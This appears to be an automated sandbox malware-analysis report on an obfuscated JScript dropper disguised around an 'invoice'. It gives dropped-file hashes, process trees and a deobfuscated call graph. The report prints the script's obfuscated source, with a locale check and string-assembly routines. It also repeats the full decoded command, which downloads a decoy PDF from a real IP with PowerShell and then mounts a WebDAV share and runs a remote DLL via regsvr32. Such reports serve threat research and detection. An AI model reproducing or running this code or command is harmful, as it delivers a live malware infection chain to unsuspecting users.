Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17957), with CRLF line terminators
Entropy (8bit):	4.907263845373148
TrID:
File name:	584319483127519041.js
File size:	21'506 bytes
MD5:	faee1aa23ecc7c2b1a5fd9a791eb9556
SHA1:	9dde76628762412b828e95a0ee4d117cea113a3c
SHA256:	5a3e0e428bf002c264e0034b5bd2dc95b9f75d867c42aa7bb45f47f2cd8b7ec7
SHA512:	6a2ead1d06b18dfc5cb79f1f17272ae4f4b9f138f34fd30dc20606b98df3ff6e397b0cc1358da41ee7b70b922b15e0a93ee989408854427ee24081fc5aece48c
SSDEEP:	384:MgXQ7RB6sabZUm18dmlze93gFZfXPqz5Z2bTUfSEbX/IXYUP/gFD7w8916A7zTb0:Fg7KUm2dIHHMpv58Efm3
TLSH:	62A2429C9290D7C389E844B81A6B84CF67FE43849D80009C97E59DC29509DAE95F3BFF
File Content Preview:	function tkugkmrw(){bkwhrzlmd=[1031,3079,5127,4103,2055,3072];var xcpnpnkz=this[kpnuagk+sfwnqixy+mnoum+ohhyotvw+ozntsvva+wprhxkbou+rbhzwlebh+nqyilcs](this[iminqei+bsfzqnsds+pclrlzhlv+mnoum+bfprljm+kpnuagk+nqyilcs][libzmw+mnoum+ozntsvva+sfwnqixy+nqyilcs+oz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	23:23:07
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js"
Imagebase:	0x7ff6dd620000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:23:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll
Imagebase:	0x7ff78f270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:23:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:23:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:23:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:23:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78f270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:23:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f00c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:23:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:23:13
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:23:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,14982553076339346027,7902845990942024028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tkugkmrw() {	tkugkmrw() ➔ undefined
1	bkwhrzlmd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xcpnpnkz = this[kpnuagk + sfwnqixy + mnoum + ohhyotvw + ozntsvva + wprhxkbou + rbhzwlebh + nqyilcs] ( this[iminqei + bsfzqnsds + pclrlzhlv + mnoum + bfprljm + kpnuagk + nqyilcs][libzmw + mnoum + ozntsvva + sfwnqixy + nqyilcs + ozntsvva + srbogapm + dyqhwoxpc + ghtcqpwoi + ozntsvva + pclrlzhlv + nqyilcs] ( iminqei + bsfzqnsds + pclrlzhlv + mnoum + bfprljm + kpnuagk + nqyilcs + kyplr + bsfzqnsds + qxcrt + ozntsvva + tatnujxx + tatnujxx ) [dlcjb + ozntsvva + xhsdpvz + dlcjb + ozntsvva + sfwnqixy + sxprfqv] ( yejjpz + nvwuuver + iqqnpsqdh + dckrpsvt + lovdp + libzmw + ejmctxa + dlcjb + dlcjb + iqqnpsqdh + cnydhl + ngoangub + lovdp + ejmctxa + bsfzqnsds + iqqnpsqdh + dlcjb + ukleyjdbq + libzmw + trgitng + rbhzwlebh + nqyilcs + mnoum + trgitng + tatnujxx + rkklzr + qhrekdn + sfwnqixy + rbhzwlebh + ozntsvva + tatnujxx + ukleyjdbq + wprhxkbou + rbhzwlebh + nqyilcs + ozntsvva + mnoum + rbhzwlebh + sfwnqixy + nqyilcs + bfprljm + trgitng + rbhzwlebh + sfwnqixy + tatnujxx + ukleyjdbq + yahlctsm + trgitng + pclrlzhlv + sfwnqixy + tatnujxx + ozntsvva ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( crgzyyvvm = 0 ; crgzyyvvm < bkwhrzlmd[tatnujxx + ozntsvva + rbhzwlebh + xhsdpvz + nqyilcs + qxcrt] ; ++ crgzyyvvm )
4	{
5	if ( xcpnpnkz == bkwhrzlmd[crgzyyvvm] )
6	{
7	xcpnpnkz = true;
8	break ;
9	}
10	}
11	if ( xcpnpnkz !== true )
12	this[iminqei + bsfzqnsds + pclrlzhlv + mnoum + bfprljm + kpnuagk + nqyilcs][titol + edkcqaz + bfprljm + nqyilcs] ( );
13	this[iminqei + bsfzqnsds + pclrlzhlv + mnoum + bfprljm + kpnuagk + nqyilcs][libzmw + mnoum + ozntsvva + sfwnqixy + nqyilcs + ozntsvva + srbogapm + dyqhwoxpc + ghtcqpwoi + ozntsvva + pclrlzhlv + nqyilcs] ( iminqei + bsfzqnsds + pclrlzhlv + mnoum + bfprljm + kpnuagk + nqyilcs + kyplr + bsfzqnsds + qxcrt + ozntsvva + tatnujxx + tatnujxx ) [mnoum + edkcqaz + rbhzwlebh] ( pclrlzhlv + krzastvqf + sxprfqv + rkklzr + vheooq + pclrlzhlv + rkklzr + kpnuagk + trgitng + obium + ozntsvva + mnoum + ohhyotvw + qxcrt + ozntsvva + tatnujxx + tatnujxx + kyplr + ozntsvva + jxzbm + ozntsvva + rkklzr + lkopo + libzmw + trgitng + krzastvqf + krzastvqf + sfwnqixy + rbhzwlebh + sxprfqv + rkklzr + wuvucj + wprhxkbou + rbhzwlebh + cghht + trgitng + mzzovlm + ozntsvva + lkopo + iminqei + ozntsvva + dyqhwoxpc + dlcjb + ozntsvva + lswaiiwxf + edkcqaz + ozntsvva + ohhyotvw + nqyilcs + rkklzr + lkopo + srbogapm + edkcqaz + nqyilcs + crvmet + bfprljm + tatnujxx + ozntsvva + rkklzr + mqvbnuef + nqyilcs + ozntsvva + krzastvqf + kpnuagk + mqvbnuef + ukleyjdbq + bfprljm + rbhzwlebh + cghht + trgitng + bfprljm + pclrlzhlv + ozntsvva + kyplr + kpnuagk + sxprfqv + jqjpvnhph + rkklzr + qxcrt + nqyilcs + nqyilcs + kpnuagk + zhvioff + vheooq + vheooq + wedmt + ppgan + fkvfi + kyplr + wedmt + kstshov + fkvfi + kyplr + wedmt + kyplr + lakldgths + zllte + clftb + vheooq + bfprljm + rbhzwlebh + cghht + trgitng + bfprljm + pclrlzhlv + ozntsvva + kyplr + kpnuagk + qxcrt + kpnuagk + wuvucj + zplquelos + zplquelos + ohhyotvw + nqyilcs + sfwnqixy + mnoum + nqyilcs + rkklzr + mqvbnuef + nqyilcs + ozntsvva + krzastvqf + kpnuagk + mqvbnuef + ukleyjdbq + bfprljm + rbhzwlebh + cghht + trgitng + bfprljm + pclrlzhlv + ozntsvva + kyplr + kpnuagk + sxprfqv + jqjpvnhph + zplquelos + zplquelos + pclrlzhlv + krzastvqf + sxprfqv + rkklzr + vheooq + pclrlzhlv + rkklzr + rbhzwlebh + ozntsvva + nqyilcs + rkklzr + edkcqaz + ohhyotvw + ozntsvva + rkklzr + ukleyjdbq + ukleyjdbq + wedmt + ppgan + fkvfi + kyplr + wedmt + kstshov + fkvfi + kyplr + wedmt + kyplr + lakldgths + zllte + clftb + puzbjvfy + egbzhnll + egbzhnll + egbzhnll + egbzhnll + ukleyjdbq + sxprfqv + sfwnqixy + cghht + obium + obium + obium + mnoum + trgitng + trgitng + nqyilcs + ukleyjdbq + zplquelos + zplquelos + pclrlzhlv + krzastvqf + sxprfqv + rkklzr + vheooq + pclrlzhlv + rkklzr + mnoum + ozntsvva + xhsdpvz + ohhyotvw + cghht + mnoum + fkvfi + lakldgths + rkklzr + vheooq + ohhyotvw + rkklzr + ukleyjdbq + ukleyjdbq + wedmt + ppgan + fkvfi + kyplr + wedmt + kstshov + fkvfi + kyplr + wedmt + kyplr + lakldgths + zllte + clftb + puzbjvfy + egbzhnll + egbzhnll + egbzhnll + egbzhnll + ukleyjdbq + sxprfqv + sfwnqixy + cghht + obium + obium + obium + mnoum + trgitng + trgitng + nqyilcs + ukleyjdbq + lakldgths + egbzhnll + lakldgths + wedmt + egbzhnll + kstshov + kstshov + uzeyud + arjbmqv + lakldgths + zllte + zllte + fkvfi + arjbmqv + kyplr + sxprfqv + tatnujxx + tatnujxx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll",0,false) ➔ 0
14	}
15	nqyilcs = "l";
16	nqyilcs = "l";
17	nqyilcs = "a";
18	nqyilcs = "X";
19	nqyilcs = "n";
20	nqyilcs = "d";
21	nqyilcs = "j";
22	nqyilcs = "P";
23	nqyilcs = "c";
24	nqyilcs = "d";
25	nqyilcs = "t";
26	nqyilcs = "i";
27	nqyilcs = "I";
28	nqyilcs = "m";
29	nqyilcs = "G";
30	nqyilcs = "W";
31	nqyilcs = "a";
32	nqyilcs = "R";
33	nqyilcs = "k";
34	nqyilcs = "a";
35	nqyilcs = "x";
36	nqyilcs = "M";
37	nqyilcs = "x";
38	nqyilcs = "t";
39	uzeyud = "x";
40	uzeyud = "B";
41	uzeyud = "Z";
42	uzeyud = "x";
43	uzeyud = "D";
44	uzeyud = "L";
45	uzeyud = "R";
46	uzeyud = "f";
47	uzeyud = "a";
48	uzeyud = "A";
49	uzeyud = "p";
50	uzeyud = "G";
51	uzeyud = "x";
52	uzeyud = "X";
53	uzeyud = "D";
54	uzeyud = "Z";
55	uzeyud = "B";
56	uzeyud = "i";
57	uzeyud = "c";
58	uzeyud = "P";
59	uzeyud = "Q";
60	uzeyud = "H";
61	uzeyud = "F";
62	uzeyud = "v";
63	uzeyud = "Q";
64	uzeyud = "z";
65	uzeyud = "R";
66	uzeyud = "Z";
67	uzeyud = "z";
68	uzeyud = "X";
69	uzeyud = "e";
70	uzeyud = "G";
71	uzeyud = "B";
72	uzeyud = "g";
73	uzeyud = "j";
74	uzeyud = "S";
75	uzeyud = "l";
76	uzeyud = "d";
77	uzeyud = "f";
78	uzeyud = "r";
79	uzeyud = "q";
80	uzeyud = "D";
81	uzeyud = "X";
82	uzeyud = "G";
83	uzeyud = "6";
84	mnoum = "W";
85	mnoum = "R";
86	mnoum = "w";
87	mnoum = "L";
88	mnoum = "B";
89	mnoum = "j";
90	mnoum = "H";
91	mnoum = "a";
92	mnoum = "w";
93	mnoum = "z";
94	mnoum = "y";
95	mnoum = "B";
96	mnoum = "l";
97	mnoum = "r";
98	mnoum = "f";
99	mnoum = "L";
100	mnoum = "i";
101	mnoum = "K";
102	mnoum = "r";
103	ozntsvva = "t";
104	ozntsvva = "k";
105	ozntsvva = "V";
106	ozntsvva = "b";
107	ozntsvva = "X";
108	ozntsvva = "F";
109	ozntsvva = "B";
110	ozntsvva = "B";
111	ozntsvva = "z";
112	ozntsvva = "V";
113	ozntsvva = "X";
114	ozntsvva = "h";
115	ozntsvva = "J";
116	ozntsvva = "L";
117	ozntsvva = "j";
118	ozntsvva = "l";
119	ozntsvva = "B";
120	ozntsvva = "i";
121	ozntsvva = "b";
122	ozntsvva = "e";
123	nvwuuver = "A";
124	nvwuuver = "p";
125	nvwuuver = "Y";
126	nvwuuver = "C";
127	nvwuuver = "B";
128	nvwuuver = "s";
129	nvwuuver = "F";
130	nvwuuver = "E";
131	nvwuuver = "W";
132	nvwuuver = "G";
133	nvwuuver = "P";
134	nvwuuver = "j";
135	nvwuuver = "Z";
136	nvwuuver = "W";
137	nvwuuver = "A";
138	nvwuuver = "N";
139	nvwuuver = "Q";
140	nvwuuver = "S";
141	nvwuuver = "L";
142	nvwuuver = "x";
143	nvwuuver = "l";
144	nvwuuver = "I";
145	nvwuuver = "P";
146	nvwuuver = "X";
147	nvwuuver = "m";
148	nvwuuver = "Y";
149	nvwuuver = "j";
150	nvwuuver = "h";
151	nvwuuver = "U";
152	nvwuuver = "E";
153	nvwuuver = "w";
154	nvwuuver = "h";
155	nvwuuver = "x";
156	nvwuuver = "y";
157	nvwuuver = "u";
158	nvwuuver = "r";
159	nvwuuver = "v";
160	nvwuuver = "w";
161	nvwuuver = "Q";
162	nvwuuver = "q";
163	nvwuuver = "K";
164	sfwnqixy = "W";
165	sfwnqixy = "m";
166	sfwnqixy = "R";
167	sfwnqixy = "B";
168	sfwnqixy = "t";
169	sfwnqixy = "b";
170	sfwnqixy = "I";
171	sfwnqixy = "a";
172	sfwnqixy = "p";
173	sfwnqixy = "D";
174	sfwnqixy = "T";
175	sfwnqixy = "S";
176	sfwnqixy = "W";
177	sfwnqixy = "V";
178	sfwnqixy = "s";
179	sfwnqixy = "y";
180	sfwnqixy = "M";
181	sfwnqixy = "q";
182	sfwnqixy = "t";
183	sfwnqixy = "y";
184	sfwnqixy = "R";
185	sfwnqixy = "N";
186	sfwnqixy = "F";
187	sfwnqixy = "Z";
188	sfwnqixy = "y";
189	sfwnqixy = "o";
190	sfwnqixy = "J";
191	sfwnqixy = "T";
192	sfwnqixy = "Q";
193	sfwnqixy = "J";
194	sfwnqixy = "T";
195	sfwnqixy = "t";
196	sfwnqixy = "z";
197	sfwnqixy = "o";
198	sfwnqixy = "m";
199	sfwnqixy = "D";
200	sfwnqixy = "a";
201	sfwnqixy = "a";
202	lakldgths = "L";
203	lakldgths = "w";
204	lakldgths = "f";
205	lakldgths = "a";
206	lakldgths = "T";
207	lakldgths = "T";
208	lakldgths = "I";
209	lakldgths = "r";
210	lakldgths = "J";
211	lakldgths = "q";
212	lakldgths = "K";
213	lakldgths = "H";
214	lakldgths = "U";
215	lakldgths = "p";
216	lakldgths = "g";
217	lakldgths = "b";
218	lakldgths = "p";
219	lakldgths = "X";
220	lakldgths = "E";
221	lakldgths = "Y";
222	lakldgths = "P";
223	lakldgths = "Z";
224	lakldgths = "e";
225	lakldgths = "U";
226	lakldgths = "2";
227	dckrpsvt = "X";
228	dckrpsvt = "J";
229	dckrpsvt = "U";
230	dckrpsvt = "K";
231	dckrpsvt = "Y";
232	dckrpsvt = "z";
233	dckrpsvt = "y";
234	dckrpsvt = "B";
235	dckrpsvt = "g";
236	dckrpsvt = "p";
237	dckrpsvt = "J";
238	dckrpsvt = "Y";
239	krzastvqf = "U";
240	krzastvqf = "B";
241	krzastvqf = "A";
242	krzastvqf = "L";
243	krzastvqf = "f";
244	krzastvqf = "s";
245	krzastvqf = "A";
246	krzastvqf = "U";
247	krzastvqf = "b";
248	krzastvqf = "m";
249	krzastvqf = "h";
250	krzastvqf = "C";
251	krzastvqf = "S";
252	krzastvqf = "z";
253	krzastvqf = "A";
254	krzastvqf = "u";
255	krzastvqf = "E";
256	krzastvqf = "G";
257	krzastvqf = "m";
258	trgitng = "S";
259	trgitng = "t";
260	trgitng = "u";
261	trgitng = "y";
262	trgitng = "l";
263	trgitng = "u";
264	trgitng = "k";
265	trgitng = "k";
266	trgitng = "O";
267	trgitng = "Z";
268	trgitng = "k";
269	trgitng = "J";
270	trgitng = "q";
271	trgitng = "j";
272	trgitng = "n";
273	trgitng = "o";
274	trgitng = "w";
275	trgitng = "p";
276	trgitng = "J";
277	trgitng = "n";
278	trgitng = "B";
279	trgitng = "K";
280	trgitng = "m";
281	trgitng = "a";
282	trgitng = "K";
283	trgitng = "I";
284	trgitng = "Z";
285	trgitng = "S";
286	trgitng = "H";
287	trgitng = "B";
288	trgitng = "o";
289	cghht = "k";
290	cghht = "u";
291	cghht = "S";
292	cghht = "J";
293	cghht = "O";
294	cghht = "p";
295	cghht = "k";
296	cghht = "i";
297	cghht = "f";
298	cghht = "T";
299	cghht = "N";
300	cghht = "s";
301	cghht = "x";
302	cghht = "x";
303	cghht = "r";
304	cghht = "g";
305	cghht = "j";
306	cghht = "j";
307	cghht = "u";
308	cghht = "g";
309	cghht = "K";
310	cghht = "l";
311	cghht = "m";
312	cghht = "W";
313	cghht = "F";
314	cghht = "Z";
315	cghht = "Y";
316	cghht = "p";
317	cghht = "f";
318	cghht = "V";
319	cghht = "C";
320	cghht = "v";
321	cnydhl = "K";
322	cnydhl = "Q";
323	cnydhl = "e";
324	cnydhl = "u";
325	cnydhl = "L";
326	cnydhl = "h";
327	cnydhl = "V";
328	cnydhl = "N";
329	cnydhl = "x";
330	cnydhl = "b";
331	cnydhl = "D";
332	cnydhl = "I";
333	cnydhl = "G";
334	cnydhl = "N";
335	ghtcqpwoi = "X";
336	ghtcqpwoi = "j";
337	xhsdpvz = "j";
338	xhsdpvz = "L";
339	xhsdpvz = "K";
340	xhsdpvz = "v";
341	xhsdpvz = "D";
342	xhsdpvz = "q";
343	xhsdpvz = "r";
344	xhsdpvz = "k";
345	xhsdpvz = "p";
346	xhsdpvz = "A";
347	xhsdpvz = "a";
348	xhsdpvz = "l";
349	xhsdpvz = "f";
350	xhsdpvz = "O";
351	xhsdpvz = "r";
352	xhsdpvz = "u";
353	xhsdpvz = "x";
354	xhsdpvz = "g";
355	xhsdpvz = "v";
356	xhsdpvz = "j";
357	xhsdpvz = "B";
358	xhsdpvz = "T";
359	xhsdpvz = "w";
360	xhsdpvz = "m";
361	xhsdpvz = "H";
362	xhsdpvz = "Q";
363	xhsdpvz = "J";
364	xhsdpvz = "c";
365	xhsdpvz = "U";
366	xhsdpvz = "d";
367	xhsdpvz = "d";
368	xhsdpvz = "J";
369	xhsdpvz = "e";
370	xhsdpvz = "z";
371	xhsdpvz = "u";
372	xhsdpvz = "K";
373	xhsdpvz = "g";
374	kpnuagk = "q";
375	kpnuagk = "H";
376	kpnuagk = "s";
377	kpnuagk = "m";
378	kpnuagk = "Z";
379	kpnuagk = "K";
380	kpnuagk = "G";
381	kpnuagk = "E";
382	kpnuagk = "M";
383	kpnuagk = "u";
384	kpnuagk = "L";
385	kpnuagk = "q";
386	kpnuagk = "g";
387	kpnuagk = "G";
388	kpnuagk = "P";
389	kpnuagk = "i";
390	kpnuagk = "Q";
391	kpnuagk = "F";
392	kpnuagk = "E";
393	kpnuagk = "D";
394	kpnuagk = "v";
395	kpnuagk = "i";
396	kpnuagk = "M";
397	kpnuagk = "e";
398	kpnuagk = "R";
399	kpnuagk = "M";
400	kpnuagk = "p";
401	wuvucj = "y";
402	wuvucj = "g";
403	wuvucj = "t";
404	wuvucj = "C";
405	wuvucj = "F";
406	wuvucj = "k";
407	wuvucj = "Z";
408	wuvucj = "J";
409	wuvucj = "X";
410	wuvucj = "b";
411	wuvucj = "g";
412	wuvucj = "W";
413	wuvucj = "G";
414	wuvucj = "l";
415	wuvucj = "S";
416	wuvucj = "e";
417	wuvucj = "t";
418	wuvucj = "T";
419	wuvucj = "r";
420	wuvucj = "W";
421	wuvucj = "U";
422	wuvucj = "W";
423	wuvucj = "Q";
424	wuvucj = "i";
425	wuvucj = "V";
426	wuvucj = "T";
